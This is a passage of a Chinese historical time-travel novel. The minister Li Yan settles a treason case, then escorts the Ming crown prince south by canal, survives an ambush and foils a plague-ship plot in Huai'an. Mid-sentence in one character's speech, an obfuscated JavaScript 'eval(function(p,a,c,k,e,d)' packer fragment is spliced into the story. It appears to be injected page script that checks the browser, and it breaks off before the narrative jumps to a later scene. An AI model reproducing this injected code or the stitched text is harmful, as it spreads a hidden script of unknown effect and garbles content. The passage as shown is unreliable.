“成国公朱纯臣、英国公张世泽已死，不再追究，家产抄没，亲族流放。” “左都督刘文耀，革职下狱，待查清是否参与谋逆，再行处置。” “其余从犯，视情节轻重，或流放，或革职，或杖责。” 这判决，比律法轻了许多。百官松了口气，魏藻德却愣住了。 “你……你不杀我九族？”他颤声问。 “本官要杀的，是谋逆之心，不是无辜之人。”李炎淡淡道，“魏藻德，你读圣贤书，当知‘仁者爱人’。今日不株连你的亲族，不是为你，是为那些无辜妇孺。” 魏藻德怔怔看着李炎，忽然老泪纵横，跪倒在地：“李太保……老夫……愧对圣贤……” 这一刻，他是真的悔了。 王之心却还在挣扎：“李炎！你不能杀我！我是司礼监掌印，只有皇上能杀我！” “那就等皇上康复了，亲自下旨杀你。”李炎冷冷道，“不过，恐怕你等不到那天了——骆指挥使，将王之心押入诏狱，严加看管。待秋后，与魏藻德一并问斩。” “是！” 两人被拖下殿。百官沉默，无人敢言。 李炎重新看向众人：“魏藻德伏法，但朝政不能停。内阁首辅空缺，本官提议，由礼部侍郎吴麟征暂代。诸位可有异议？” 吴麟征是东林党人，但与魏藻德不同，为人正直，且与李炎无大过节。让他暂代首辅，既能安抚东林党，又能维持朝局稳定。 果然，无人反对。 “好，那就这么定了。”李炎道，“从今日起，朝中事务，由吴阁老主持，重大事项报本官决断。诸位当同心协力，共度时艰。” “臣等遵命！” 朝会散去。李炎走出皇极殿时，阳光刺破云层，洒在湿漉漉的广场上。 一夜暴雨，洗净了宫阙，也洗净了朝堂。 但李炎知道，真正的考验，才刚刚开始。 --- 午时·诏狱探视 李炎亲自来到诏狱，探望魏藻德。 阴暗的牢房里，魏藻德穿着囚服，坐在草席上，神情平静。见李炎来，他苦笑：“李太保是来看老夫笑话的？” “本官是来送行的。”李炎让狱卒打开牢门，走进去，在魏藻德对面坐下，“明日午时，菜市口。” 魏藻德沉默片刻：“多谢太保不株连之恩。” “不必谢我。”李炎道，“魏阁老，临别前，本官有几句话想问。” “请讲。” “你为何要拥立福王？真是为大明？” 魏藻德长叹：“起初是，后来……就变了。李太保，你不懂我们这些读书人的心思。寒窗十年，科举入仕，为的是什么？是治国平天下，也是光宗耀祖。可这大明，一年不如一年，贪腐横行，民不聊生。老夫也想改变，但改变不了。既然改变不了，就想保住自己，保住家族。” 他顿了顿：“拥立福王，是因为福王在江南，江南还没烂透。去了江南，或许……还能有番作为。至于太子，十岁的孩子，在这乱世，能做什么？” “所以你就放弃了？”李炎问。 “不是放弃，是看不到希望。”魏藻德摇头，“李太保，你年轻，有冲劲，想做一番事业。但老夫告诉你，这大明的病，已经入膏肓，治不好了。你做的这些，不过是延缓死亡罢了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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又是这三条。李炎摇头：“赋税可整顿，但不能一味减免；江南士人可用，但不能结党；太子南巡更不可——太子一走，北京人心就散了。” “那太保打算如何？” “打。”李炎斩钉截铁，“刘泽清若敢北上，就迎头痛击。只有打疼他们，他们才会坐下来谈。” “可朝廷兵力……” “朝廷兵力不足，但可用吴三桂。”李炎铺开地图，“让吴三桂从大同南下，威慑山东。同时，让周遇吉从宁武关东进，威胁河南。刘泽清两面受敌，必不敢妄动。” “那江南内部……” “让史可法、陈子龙在江南活动，分化瓦解。”李炎道，“支持朝廷的，重用；观望的，拉拢；死硬派，孤立。本官就不信，江南全是想分裂的人。” 吴麟征沉思良久：“太保此策甚好，但需要时间。刘泽清的兵，半个月内就能到扬州。” “那就给他半个月时间。”李炎眼中闪过寒光，“本官亲赴扬州，会会这位刘总兵。” “太保不可！”吴麟征急道，“您是辅政大臣，岂可轻离京师？况且扬州危险……” “正因为我是辅政大臣，才更该去。”李炎道，“江南士绅不是说我独断专行吗？不是说我无视江南吗？本官就去扬州，让他们看看，朝廷的态度。” 他顿了顿：“吴阁老，我离京期间，朝政由你主持，李国桢掌兵，王承恩管内廷。有你们三人在，京师乱不了。” “那皇上、太子……” “我会带太子同行。”李炎语出惊人。 “什么？！”吴麟征大惊，“太子万金之躯，岂可涉险？” “正因太子涉险，才能显出朝廷的决心。”李炎道，“也让江南那些人看看，太子不是孩童，是敢赴险地的储君。况且……太子在扬州，他们若还敢拥立福王，就是公然谋逆，天下共讨之。” 吴麟征明白了。这是险棋，但也是妙棋。太子亲临，江南士绅就没了拥立福王的借口；而太子在李炎保护下，安全也有保障。 “太保……真要去？” “要去。”李炎坚定道，“而且要大张旗鼓地去。让所有人都知道，朝廷没有放弃江南，太子没有忘记他的子民。” 他立即开始部署： 一、调孙传庭率三千精兵随行护卫。 二、命宋应星随行，在扬州设立军器分局，展示朝廷的新式火器。 三、让顾炎武、陈子龙在江南造势，宣传太子南巡。 四、密令吴三桂、周遇吉向山东、河南方向移动，施加压力。 五、让曹化淳准备太子仪仗，务必要隆重。 “七日准备，七日后出发。”李炎下令，“在这七天内，要把魏藻德案了结，把朝局稳住。” “是！” --- 戌时·乾清宫告別 李炎带着太子朱慈烺，来到乾清宫向崇祯辞行。 崇祯今日精神稍好，能坐起来了。听说李炎要带太子南巡，他沉默良久，最终点头：“去……去吧。让江南……看看，大明还有太子。” “皇上放心，臣必保太子周全。”李炎承诺。 崇祯看着太子，招手让他走近。太子跪在榻前，崇祯伸手摸了摸他的头：“烺儿……要听李太保的话。看到百姓……要仁慈。看到敌人……要坚强。” “儿臣记住了。”太子含泪。 周皇后在一旁泣不成声：“李爱卿，太子……就拜托你了。” “娘娘放心，臣在，太子在。” 离开乾清宫时，夜色已深。太子忽然问：“李太保，扬州危险吗？” “危险。”李炎实话实说，“但殿下是储君，有些险，必须冒。” “我不怕。”太子挺起小胸膛，“父皇说过，为君者，当以社稷为重，以百姓为先。我去扬州，是为了让江南百姓知道，朝廷没有抛弃他们。” 李炎心中感动。这个十岁的孩子，比他想象的更懂事。 “殿下说得对。此去扬州，不仅是为了震慑那些想分裂的人，更是为了团结江南百姓，共御外敌。只要江南稳住了，大明就稳住了。” “那我能做什么？” “殿下只需要做一件事——”李炎蹲下身，看着太子的眼睛，“让江南百姓看到，您是一位仁德、勇敢的储君。看到您，就像看到大明的未来。” 太子重重点头：“我明白了。” --- 七日后·启程 四月二十六，晨。 北京正阳门外，旌旗招展，仪仗如林。三千精兵盔明甲亮，分列两侧。中间是太子的銮驾，李炎骑马在侧。 百官送行，百姓围观。吴麟征代表朝廷致辞：“太子南巡，宣示皇恩，安抚江南。愿殿下早归，愿太保马到功成！” 李炎拱手还礼：“朝政就拜托吴阁老了。” 他翻身上马，对孙传庭道：“出发！” 号角长鸣，队伍启程。太子在銮驾中掀开帘子，向送行的人群挥手。百姓跪倒一片，高呼“太子千岁”。 李炎回头，最后望了一眼北京城。这座都城在朝阳下巍峨矗立，如一头沉睡的雄狮。 他要去江南，唤醒另一头狮子。 前路艰险，但他必须去。 因为这是他的责任，也是他的使命。 “驾！” 马蹄踏起尘土，队伍向南而行。 江南，我来了。 那些想分裂这个国家的人，我来了。 让我们看看，到底谁，能笑到最后。 【第十四章完】 15. 南巡路上 运河水在正午阳光下泛起碎金般的光斑。通州码头上，十二艘新式漕船已准备就绪——这是宋应星监造的第一批明轮船，船身修长，两侧明轮外罩着铁皮护板，船首新漆的“钦差”二字在日光下熠熠生辉。 太子朱慈烺站在旗舰“安澜号”的船头，杏黄袍服被河风吹得猎猎作响。他第一次离开北京城，眼中既有兴奋，也有不安。李炎按剑立于他身侧，蟒袍下摆用玉带紧束，腰间除了尚方宝剑，还别着一支改良后的燧发手枪——宋应星按他的图纸缩小了击发机构，制成这柄可单手握持的短铳，射程虽只有三十步，但近身防身足够。 “太保，这些船真的不用帆吗？”太子仰头问道。 “用帆，也用人。”李炎指向船侧的明轮，“顺风时张帆，逆风或无风时就靠人力踏动明轮。比旧式漕船快三成，载货多五成。” 宋应星从船舱走出，须发被风吹乱，但神色亢奋：“殿下，此船尚有不足——明轮轴易损，踏轮夫役易疲。老朽已在设计新式的齿轮传动，若能成，可再快两成。” “宋先生辛苦。”太子有模有样地拱手，这举动让宋应星连忙躬身还礼。 孙传庭快步走来，低声禀报：“大人，王铁柱的前哨回报，前方三十里河道有淤塞，需半日疏通。另外……”他顿了顿，“锦衣卫密报，昨夜有可疑船只从天津方向南下，船上人携弓弩，疑似漕帮余党。” 李炎眼神一凝：“多少人？往哪去了？” “约三十人，船只入运河后消失。夜枭已带人追踪。”孙传庭道，“大人，是否加强护卫？” “要，但不能大张旗鼓。”李炎沉吟，“传令：船队按原计划行进，但所有士兵甲胄外罩常服，弓弩火器藏于舱内。再派两队斥候乘快船先行，遇可疑船只立即回报。” “是！” 船队启航。明轮转动，划开浑浊的河水，在运河上犁出一道白浪。两岸农田里耕作的农夫停下手，怔怔望着这支奇怪的船队——没有纤夫拉纤，却能逆水而行，船侧那些转动的轮子发出有节奏的哗啦声，在寂静的河道上格外清晰。 春梅从船舱出来，手中端着茶盘。她换了身淡青色的侍女服，头发简单绾起，比起宫中时的拘谨，此刻多了几分灵动。 “殿下，太保，请用茶。” 太子接过茶杯，忽然问：“春梅姐姐，你是哪里人？” 春梅一怔，低头道：“回殿下，奴婢是保定人。” “保定……”太子眨眨眼，“太保说，我们这次南下要路过保定。春梅姐姐能回家看看吗？” 春梅眼圈微红，摇头：“奴婢的家……已经不在了。” 李炎接过话：“殿下，这一路你会看到很多像春梅这样的百姓。他们的家，有的毁于兵祸，有的毁于饥荒。我们此去江南，就是要让这样的悲剧不再发生。” 太子似懂非懂地点头，捧着茶杯望向河岸。远处，一个村庄的废墟在阳光下显得格外刺目，焦黑的梁木指向天空，像大地溃烂的伤口。 船队行至河西务上游二十里处，河道忽然收窄。两岸芦苇丛生，高可没人，正是设伏的好地方。 李炎站在船楼，望远镜扫过芦苇荡——电池已耗尽，现在用的是宋应星磨制的单筒琉璃镜，视野虽不及夜视仪，但足够了。 “停船。”他忽然下令。 “大人？”孙传庭不解。 “太静了。”李炎指着右岸，“这个时节，芦苇里该有水鸟惊飞。你看，那片芦苇纹丝不动——里面藏着人。” 几乎同时，前哨快船发回旗语：发现水下障碍！ “备战！”孙传庭大喝。 士兵们迅速掀开舱板，取出弓弩火器，甲胄来不及穿，直接套上护心镜。太子被春梅护着退入船舱，宋应星指挥工匠将重要图纸和工具搬进底舱。 “轰隆——” 前方传来巨响，一艘前哨船撞上水下暗桩，船底破裂，开始进水。紧接着，芦苇丛中射出数十支火箭，直扑船队。 “灭火！弓手还击！” 训练有素的士兵迅速扑灭落在船上的火箭，同时弓弩齐发，射向火箭来处。芦苇丛中传来惨叫声，但更多的火箭射来。 李炎眯起眼睛。这不是普通水匪——火箭的落点很有章法，专攻船帆和舵室。而且对方在暗，己方在明，久战不利。 “孙传庭，带一队人乘小船登陆，从侧后包抄。”他果断下令，“王铁柱，你带火枪手压制正面。宋先生，有没有‘烟雾弹’？” “有！”宋应星从舱中抱出几个陶罐，“这是试做的，点燃后能冒浓烟一刻钟。” “往芦苇丛里扔！” 陶罐被点燃掷出，落入芦苇后爆开，浓密的白烟迅速弥漫，遮蔽了视线。对方的火箭顿时失去准头。 趁此机会，孙传庭率五十精兵乘两艘小船靠岸，从侧翼杀入芦苇丛。短兵相接的厮杀声顿时响起。 李炎没在船上干等。他留下王铁柱守卫旗舰，自己带着二十亲兵，乘另一艘小船登陆。春梅想跟来，被他阻止：“保护太子！” 芦苇丛中战斗激烈。袭击者约百人，黑衣蒙面，手持钢刀劲弩，训练有素。但孙传庭的兵更悍勇，很快占据上风。 李炎赶到时，战斗已近尾声。孙传庭正审问一个受伤被擒的蒙面人，扯下面巾，是个三十多岁的汉子，脸上有刀疤。 “谁派你们来的？”孙传庭厉声问。 汉子啐了口血沫，冷笑不语。 李炎蹲下身，盯着他的眼睛：“漕帮的？还是……江南来的？” 汉子瞳孔微缩。李炎心中有了数，从怀中取出短铳，顶在他额头：“我给你三息时间。一息后，我打断你左腿；两息后，右腿；三息后，脑袋。” 冰冷的声音让汉子浑身一颤。 “是……是潘五爷的人。”他终于开口，“潘永年的五弟，潘永寿。他说……说李炎害死他大哥，要报仇。” “潘永寿在哪？” “不……不知道。他让我们在这里设伏，不管成不成，事后去沧州汇合。” 李炎起身，对孙传庭道：“清理战场，伤员救治，死者掩埋。这汉子押回船上，好生看管，日后有用。” “大人，潘永寿会不会在前面还有埋伏？” “肯定会。”李炎望向南方，“漕帮经营运河几十年，处处是眼线，处处可设伏。但我们不能停——太子南巡的消息已经传开，若迟迟不到扬州，江南那些人会更猖狂。” 他顿了顿：“传令船队，全速前进，遇伏不停，直接冲过去。再给夜枭传信，让他查明潘永寿的行踪，必要时……可先斩后奏。” “是！” 回到船上，太子迎上来，小脸发白但强作镇定：“太保，没事吧？” “没事，几个毛贼而已。”李炎拍拍他的肩，“殿下看到了，这世道不太平。但正因不太平，我们才更要去江南，去告诉那里的百姓，朝廷还在，太子还在。” 太子重重点头：“我记住了。” 船队继续南下。这一战虽小，却给所有人敲了警钟——南巡之路，绝不会平坦。 旗舰舱内，李炎召集孙传庭、宋应星议事。春梅在外守着，王铁柱带人巡逻。 “潘永寿只是明面上的敌人。”李炎铺开运河地图，“真正的威胁在江南。魏国公、刘泽清那些人，绝不会坐视太子到扬州。我估计，他们会在淮安或扬州附近，制造‘意外’。” “什么意外？”孙传庭问。 “水匪劫掠、船只失火、甚至……瘟疫。”李炎的手指划过地图上的几个点，“总之，要让太子‘不幸罹难’，或者至少重伤，无法继续南巡。这样他们就有借口：太子年幼，不堪长途跋涉，还是该立长君。” 宋应星倒吸冷气：“他们敢谋害太子？” “狗急跳墙，什么事都做得出来。”李炎道，“所以我们要做好万全准备。宋先生，你那些新式火器，能用的有多少？” “燧发枪三百支，弹药五千发；掌心雷五百枚；一窝蜂火箭五十具。”宋应星如数家珍，“还有三门小炮，可装在前船开路。” “好，全部装备上船。”李炎道，“孙将军，你从士兵中挑选两百名枪法好的，专门训练火器使用。再训练一队跳帮手——若遇敌船靠近，就跳过去夺船。” “末将领命。”孙传庭犹豫，“只是……火器在船上使用，万一走火……” “所以要严格训练。”李炎看向宋应星，“宋先生，能不能设计一种水上专用的火器架？固定船上，减少晃动的影响？” 宋应星眼睛一亮：“可以试试！在船帮加装卡榫，火枪架上去，用皮带固定射手腰身……给老朽两天时间！” “一天。”李炎道，“我们没那么多时间。” 宋应星咬牙：“一天就一天！” 正说着，舱外传来春梅的声音：“大人，夜枭回来了。” 夜枭闪身入舱，黑衣上沾着水渍，显然刚从水里出来。“大人，查到了。潘永寿在沧州码头的一处货栈落脚，手下约二百人。另外……”他压低声音，“货栈里还有几个江南口音的人，像是……军中的。” “刘泽清的人？”李炎眼神一厉。 “像是。他们带着山东总兵府的腰牌，但说话是扬州口音。”夜枭道，“属下还偷听到几句——他们说要‘在淮安动手’，具体怎么动，没听清。” 淮安！那是运河与淮河交汇处，漕运枢纽，鱼龙混杂，确实是下手的好地方。 “潘永寿和那些人在一起？” “是，他们正在密议。属下怕打草惊蛇，没敢靠近。” 李炎沉思片刻：“夜枭，你带几个好手，今夜去沧州，做两件事：第一，查清他们的具体计划；第二，若有机会，把潘永寿擒来——要活的。” “是！” 夜枭退下后，孙传庭道：“大人，要不要提前通知淮安官府，让他们加强戒备？” “不能。”李炎摇头，“淮安知府是谁的人，我们还不清楚。万一他本来就是江南一党，反而会打草惊蛇。” “那怎么办？总不能硬闯吧？” “要闯，但要智闯。”李炎在地图上标出几个点，“淮安有三道闸，是必经之路。他们若动手，最可能在过闸时——闸门关闭，船队被困，前后夹击。所以，我们要反其道而行之。” 他详细部署： 一、船队抵达淮安前，派快船先行，假装探路，实则探查闸口情况。 二、过闸时，士兵全部隐蔽，只留少数水手在甲板，制造防御松懈的假象。 三、在船底暗藏钩索、铁蒺藜等物，若敌船靠近，就用钩索缠住，铁蒺藜阻其登船。 四、最关键的——不在淮安过夜。过闸后立即全速前进，直奔宝应县。那里有京营的一个卫所，相对安全。 “另外，”李炎补充，“让宋先生赶制一批‘□□’——用油布包火药，浮于水面，点燃引信后顺流而下，专炸追兵。” 宋应星点头：“这个简单，今夜就能做出一批。” “好。”李炎起身，“诸位，淮安是道坎，迈过去，江南就在眼前。迈不过去……太子的安危，大明的未来，就都悬了。拜托了！” 三人肃然抱拳。 晚膳后，太子忽然来找李炎，手里拿着一本《资治通鉴》。 “太保，我能问个问题吗？” “殿下请讲。” “书中说，唐太宗征高丽，劳民伤财，但后世仍称他为明君。父皇这些年为剿贼加派赋税，百姓困苦，为何……为何却被诟病？”太子眼中满是困惑。 十岁的孩子能想到这一层，让李炎有些意外。他沉吟片刻，道：“殿下，唐太宗征高丽，虽耗费巨大，但那时唐朝国力强盛，府库充盈，百姓尚可承受。且太宗善纳谏，知错能改——第一次征高丽失利后，他就不再强征。” “而如今大明，连续十几年天灾，国库空虚，百姓本已困苦。再加赋税，就是雪上加霜。再者……”李炎顿了顿，“皇上性情刚烈，不似太宗能从谏如流。有些事，明知不可为而为之，就成了固执。” 太子似懂非懂：“那若我是皇帝，该怎么做？” “殿下要知道，皇帝不是无所不能的。”李炎耐心道，“治国如行船，要顺水势，借风力。水势就是民心，风力就是时势。逆水行舟，再努力也是事倍功半；顺水推舟，才能事半功倍。” “那现在的水势、风力是什么？” “现在的水势，是百姓渴望太平；风力，是士绅渴望秩序。”李炎道，“所以我们要做的，是给百姓太平，给士绅秩序。剿贼是为了太平，整顿漕运、清丈田亩是为了秩序。只要这两件事做好了，民心就稳了，时势就顺了。” 太子思索良久，忽然问：“所以太保带我去江南，是要让江南的士绅看到秩序？” “对。”李炎欣慰地点头，“殿下亲临，就是朝廷的态度——朝廷没有放弃江南，朝廷愿意与江南士绅共治天下。只要他们看到这一点，分裂之心就会动摇。” “那百姓呢？江南的百姓能看到太平吗？” “能。”李炎肯定道，“只要殿下在扬州城头一站，让百姓亲眼看到太子，他们就知道，大明还在，希望还在。有时候，希望比粮食更重要。” 太子重重点头，将这番话记在心里。 窗外，夕阳西下，运河被染成金红色。船队破水前行，向着未知的江南，也向着这个王朝的命运转折点。 潘永寿的货栈临河而建，高墙深院，门口有四个守卫。院墙内灯火通明，隐约传出喝酒划拳的声音。 夜枭带着五个锦衣卫好手，如鬼魅般潜入水中，从河岸隐蔽处上岸。他们嘴里衔着芦苇杆换气，身体几乎完全浸在水中，只露出眼睛。 货栈后墙有个排水口，铁栅栏已锈蚀。夜枭用浸了油的锯条，悄无声息地锯断两根铁条，五人鱼贯而入。 院内，三十多个人正围坐喝酒。主位上是个独臂汉子，四十来岁，面目凶狠——正是潘永寿。他左手端着酒碗，右手袖管空荡荡的，据说是当年与官府冲突时被砍掉的。 “五爷，李炎的船队明天就到沧州了。”一个瘦子谄媚道，“咱们按计划，在芦苇荡放火船撞他？” 潘永寿冷笑：“放火船太明显。淮安那边传话来，要咱们拖住他两天——刘总兵的人在淮安设了局，需要时间准备。” “怎么拖？” “明天一早，派几艘船在河道上‘不小心’搁浅，把河道堵死。”潘永寿眼中闪过狠色，“李炎要是绕道，至少耽误三天；要是派人疏通，咱们就暗中破坏。总之，不能让他按时到淮安。” 瘦子迟疑：“可李炎有兵，万一他强闯……” “他不敢。”潘永寿笃定，“带着太子呢，万一伤着太子，他担待不起。咱们就跟他耗，看他能耗几天。” 屋顶上，夜枭听得真切。他打了个手势，五人悄悄退到阴影处。 “头儿，怎么办？”一个锦衣卫低声道，“要不要现在动手？” 夜枭摇头：“潘永寿要活口。等他们喝得差不多了，再动手。” 众人耐心等待。约莫半个时辰后，院内的人醉倒大半，潘永寿也摇摇晃晃起身，往后院走去。 夜枭示意动手。 两个锦衣卫翻墙入院，用浸了蒙汗药的布巾捂住门口守卫的口鼻。另外三人直扑后院。 潘永寿刚走到卧房门口，忽觉身后有异，猛地转身——但独臂之人终究慢了一拍，被夜枭一记手刀砍在颈侧，软软倒下。 “撤！” 夜枭扛起潘永寿，五人迅速原路返回。整个过程不到一刻钟，干净利落。 回到船上时，李炎还未睡。 “大人，人擒来了。另外探听到，刘泽清在淮安设了局，要潘永寿拖住我们两天。” 李炎看着昏迷的潘永寿：“弄醒他。” 一盆冷水浇下，潘永寿悠悠转醒。看到李炎，他先是一惊，随即破口大骂：“李炎！你抓老子算什么本事！有能耐……” “有能耐怎样？”李炎平静地问，“有能耐像你大哥潘永年一样，被挂在北京城头？” 潘永寿语塞，眼中闪过恐惧。 “潘永寿，我给你两条路。”李炎伸出两根手指，“第一条，顽抗到底，我把你交给漕工——你这些年祸害了多少漕工？他们一人一口唾沫都能淹死你。” 潘永寿脸色发白。 “第二条，戴罪立功。”李炎继续，“把刘泽清在淮安的计划全说出来，再帮我把运河上的障碍清干净。事成之后，我保你不死，还可以让你在漕运衙门当个差役——正经差役，不比你当水匪强？” 潘永寿挣扎良久，终于低头：“我……我选第二条。” “很好。”李炎让人给他松绑，“说吧，刘泽清在淮安怎么设局的？” 潘永寿喘了口气：“淮安知府是刘泽清的人。他们计划，等太子船队过淮安闸时，故意让闸机‘故障’，把船队困在闸塘里。然后……然后放‘疫船’靠近。” “疫船？” “就是从瘟疫区找来的船，船上都是染了时疫的人。等疫船靠近，就把病人往太子船上扔……就算扔不上去，疫船靠近，太子也可能染病。”潘永寿声音发颤，“刘泽清说，这样就算查，也是‘意外’，怪不到他头上。” 舱内一片死寂。孙传庭握紧刀柄，宋应星气得胡子发抖。 李炎眼中寒光如刀：“好毒的计划。淮安知府叫什么？” “赵文华，原是刘泽清的幕僚，去年才捐的官。” 李炎记下名字，又问：“疫船现在在哪？” “在淮安下游二十里的一个河湾里，有兵看守。” “有多少病人？” “三十多个，都是从山东逃荒来的灾民，染了时疫，被刘泽清的人抓来的。”潘永寿道，“李太保，这些人也是可怜人……” “我知道。”李炎打断，“夜枭，你带人去那个河湾，把疫船控制住。记住，不要伤害病人，把他们隔离起来，让军医诊治。至于看守的兵……一个不留。” “是！” 夜枭领命而去。李炎又对潘永寿道：“明天，你带我们的人，去把河道上的障碍清了。做得好，刚才的承诺有效。做不好……你知道后果。” “小的明白！小的明白！” 潘永寿被带下去后，孙传庭忍不住道：“大人，刘泽清此计太过歹毒！三十多条人命，他竟用来做这种事！” “乱世之中，人命如草芥。”李炎声音低沉，“但正因如此，我们才更要结束这个乱世。传令船队，明日加速，提前抵达淮安。我要会会这位赵知府。” “大人要提前动手？” “对，打他个措手不及。”李炎看向窗外，“刘泽清以为我们在明他在暗，却不知，现在我们在暗他在明了。” 他铺开地图，重新部署。 淮安这一局，他要赢，而且要赢得漂亮。 闸吏赵老三像往常一样，打着哈欠打开闸房。他是淮安知府的远亲，靠着这层关系得了这个肥差，每日收收过闸费，日子过得滋润。 今天却有不同——一队官兵守在闸口，为首的是个年轻将领，甲胄鲜明，腰佩长剑。 “这位军爷，您是……”赵老三赔笑上前。 “奉钦差李太保令，接管淮安闸。”年轻将领亮出令牌，“从现在起，所有船只过闸，需经我等查验。” 赵老三心里咯噔一下。知府大人吩咐过，这几天要“留意”太子船队，怎么钦差的人先到了？ “军爷，这不合规矩啊。淮安闸历来归知府衙门管……” “现在归钦差管了。”将领不容置疑，“让开。” 赵老三不敢硬抗，只好退到一旁，暗中对一个小吏使眼色。小吏会意，悄悄溜走报信。 与此同时，淮安知府衙门。 知府赵文华正在用早膳，听到禀报， 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“赵知府请起。”李炎语气平和，“本官途经淮安，特来拜会。另外，太子殿下舟车劳顿，想在淮安休整一日，不知知府衙门可否安排？” 赵文华一愣。太子要在淮安停留？这和刘总兵的计划不一样啊！ “怎么，不方便？”李炎挑眉。 “方便！方便！”赵文华忙道，“下官这就安排最好的馆驿，不，就安排在下官府邸！让殿下好生歇息！” “那就有劳了。”李炎微笑，“对了，本官听说淮安闸年久失修，常有故障。为确保太子安全，本官已派人接管闸口，赵知府不会介意吧？” “不介意！不介意！”赵文华汗出如浆，“太保考虑周全，下官佩服。” “还有一事。”李炎站起身，走到赵文华面前，“本官接到举报，说淮安附近有‘疫船’出没，恐传播时疫。赵知府可知此事？” 赵文华脸色煞白：“疫……疫船？下官不知啊……” “不知就好。”李炎拍拍他的肩，“本官已派人搜查，若真有疫船，必严惩不贷。赵知府，你说是不是？” “是……是……”赵文华几乎站立不稳。 离开知府衙门，孙传庭低声道：“大人，赵文华明显心虚，为何不直接拿下？” “现在还不到时候。”李炎道，“刘泽清在淮安肯定还有后手，我们要引蛇出洞。太子在淮安停留一日，就是给刘泽清时间准备——他若真敢动手，咱们就一网打尽。” “可太子安危……” “放心，我已有安排。”李炎胸有成竹，“今夜，让太子秘密移驻淮安卫所，知府衙门里留个替身。再在衙门内外布下天罗地网，等刘泽清的人来。” 他顿了顿：“另外，让潘永寿去联系刘泽清在淮安的接头人，就说赵文华已经稳住我，今夜子时在知府衙门动手——咱们来个瓮中捉鳖。” “大人妙计！”孙传庭佩服。 “不过要快。”李炎望向运河方向，“船队最迟后天必须启程。扬州那边，史可法还在等我们。” 赵文华果然设宴款待。席间，他频频敬酒，言辞谄媚，但眼神闪烁，显然心怀鬼胎。 李炎佯装不知，与他推杯换盏。太子替身穿着杏黄袍坐在主位，举止模仿得惟妙惟肖——这是曹化淳从宫里带出的一个小太监，年纪与太子相仿，受过专门训练。 宴至半酣，赵文华试探道：“太保，太子殿下南巡，真是朝廷之福、江南之幸啊。只是……如今江南有些流言，说朝廷要迁都，不知……” “纯属谣言。”李炎正色道，“皇上在北京，太子在北京，朝廷就在北京。江南是财赋重地，朝廷只会更重视，绝不会放弃。” “那就好，那就好。”赵文华讪笑，“下官也是听一些士绅议论，说什么‘南北分治’‘各立朝廷’，都是无稽之谈。” “哦？哪些士绅在议论？”李炎看似随意地问。 赵文华自知失言，忙道：“都是一些无知之徒，太保不必理会。” 李炎不再追问，转而谈起漕运改革、清丈田亩等事。赵文华听得冷汗直流——这些政策，刀刀砍在江南士绅的要害上。 宴席结束，李炎“微醺”告退。赵文华送到门口，看着李炎远去的背影，眼中闪过一丝狠色。 “大人，刘总兵的人来了。”师爷低声道。 后院密室，三个黑衣人已在等候。为首的是个疤脸汉子，见到赵文华，拱手道：“赵知府，刘总兵有令：今夜子时，按计划动手。” “可李炎已有防备……”赵文华犹豫。 “防备又如何？”疤脸冷笑，“咱们在知府衙门的井里下了药，子时发作，所有人都会昏迷。到时候冲进去，杀了太子替身，放火烧衙，就说乱民作乱，太子不幸遇难。李炎就算怀疑，也抓不到证据。” “那真太子呢？” “真太子在馆驿，咱们另有人手。”疤脸道，“赵知府，事成之后，刘总兵保你做江苏巡抚。富贵险中求，你不会临阵退缩吧？” 赵文华咬牙：“好！干！” 他们不知道，密室的墙壁是空心的。墙后，夜枭正把耳朵贴在墙上，听得一清二楚。 淮安卫所，真正的太子朱慈烺已经安全抵达。李炎安排了一队最可靠的亲兵护卫，自己则返回知府衙门，准备收网。 “都安排好了？”他问孙传庭。 “安排好了。”孙传庭道，“井水已经替换，兄弟们假装昏迷。衙门外埋伏了三百人，只要他们进来，一个都跑不了。” “刘泽清在城内的其他据点呢？” “锦衣卫已全部监控，只等这边动手，就一网打尽。” 李炎点头，看向窗外的夜色。淮安城灯火点点，看似平静，实则暗藏杀机。 知府衙门的灯火渐次熄灭，只有几处房间还亮着。衙役、仆从“昏睡”在岗位上，鼾声此起彼伏。 疤脸汉子带着五十个黑衣死士，悄无声息地翻墙入院。见满院“昏迷”的人，他心中一喜：“药起作用了！快，去正房！” 众人冲向太子居住的正房。踹开门，只见“太子”躺在榻上，盖着锦被。 疤脸提刀上前，正要动手，忽觉脚下一空——地面竟是翻板！ “有陷阱！” 惊呼声中，翻板下是深坑，坑底插着削尖的木桩。冲在前面的十几人惨叫着跌落。与此同时，院内“昏迷”的人全部跃起，弓弩齐发。 “中计了！撤！”疤脸急喊。 但哪里还撤得了？院门关闭，四周墙头出现无数火把，将院子照得如同白昼。孙传庭站在墙头，冷声道：“放下兵器，可免一死！” 黑衣死士还想反抗，但弓弩如雨，片刻就倒下大半。疤脸身中三箭，被生擒。 同一时刻，淮安城内多处响起厮杀声。锦衣卫按照夜枭提供的情报，突袭了刘泽清在淮安的七个据点，擒获二百余人。 不到一个时辰，淮安城内的威胁全部清除。 知府衙门正堂，灯火通明。 疤脸汉子、赵文华等人被押跪在堂下。李炎端坐主位，太子朱慈烺坐在侧位——真正的太子。 “赵文华，你身为朝廷命官，勾结叛逆，谋害太子，可知罪？”李炎声音冰冷。 赵文华面如死灰，磕头如捣蒜：“太保饶命！下官……下官是被逼的！刘泽清以家人性命相胁，下官不得不从啊！” “被逼？”李炎冷笑，“那收受刘泽清五万两白银，也是被逼？那帮他抓染疫灾民，制造疫船，也是被逼？” 赵文华瘫软在地，无言以对。 疤脸汉子却昂首道：“李炎！要杀要剐，给个痛快！刘总兵会为我们报仇的！” “刘泽清？”李炎淡淡道，“他自身难保了。本官已奏请皇上，革去刘泽清山东总兵之职，命杨国柱接任。至于你……”他看向疤脸，“谋害太子，按律当凌迟。但本官给你个机会——把刘泽清的罪行全交代出来，可免凌迟，只斩首。” 疤脸眼中闪过挣扎，最终低头：“我……我说。” 他供出刘泽清大量罪证：克扣军饷、纵兵劫掠、私通闯军、图谋分裂……桩桩件件，触目惊心。 李炎让人详细记录，画押。 “赵文华，你是朝廷命官，本官无权擅杀。”他最后道，“但淮安百姓有权审判你——来人，将赵文华押往市集，公布其罪状，由百姓公决！” 这是前所未有的举措。赵文华被押到淮安最繁华的市集，罪状当众宣读。围观的百姓起初沉默，当听到“抓染疫灾民制造疫船”时，终于爆发。 “狗官！该杀！” “杀了他！杀了他！” 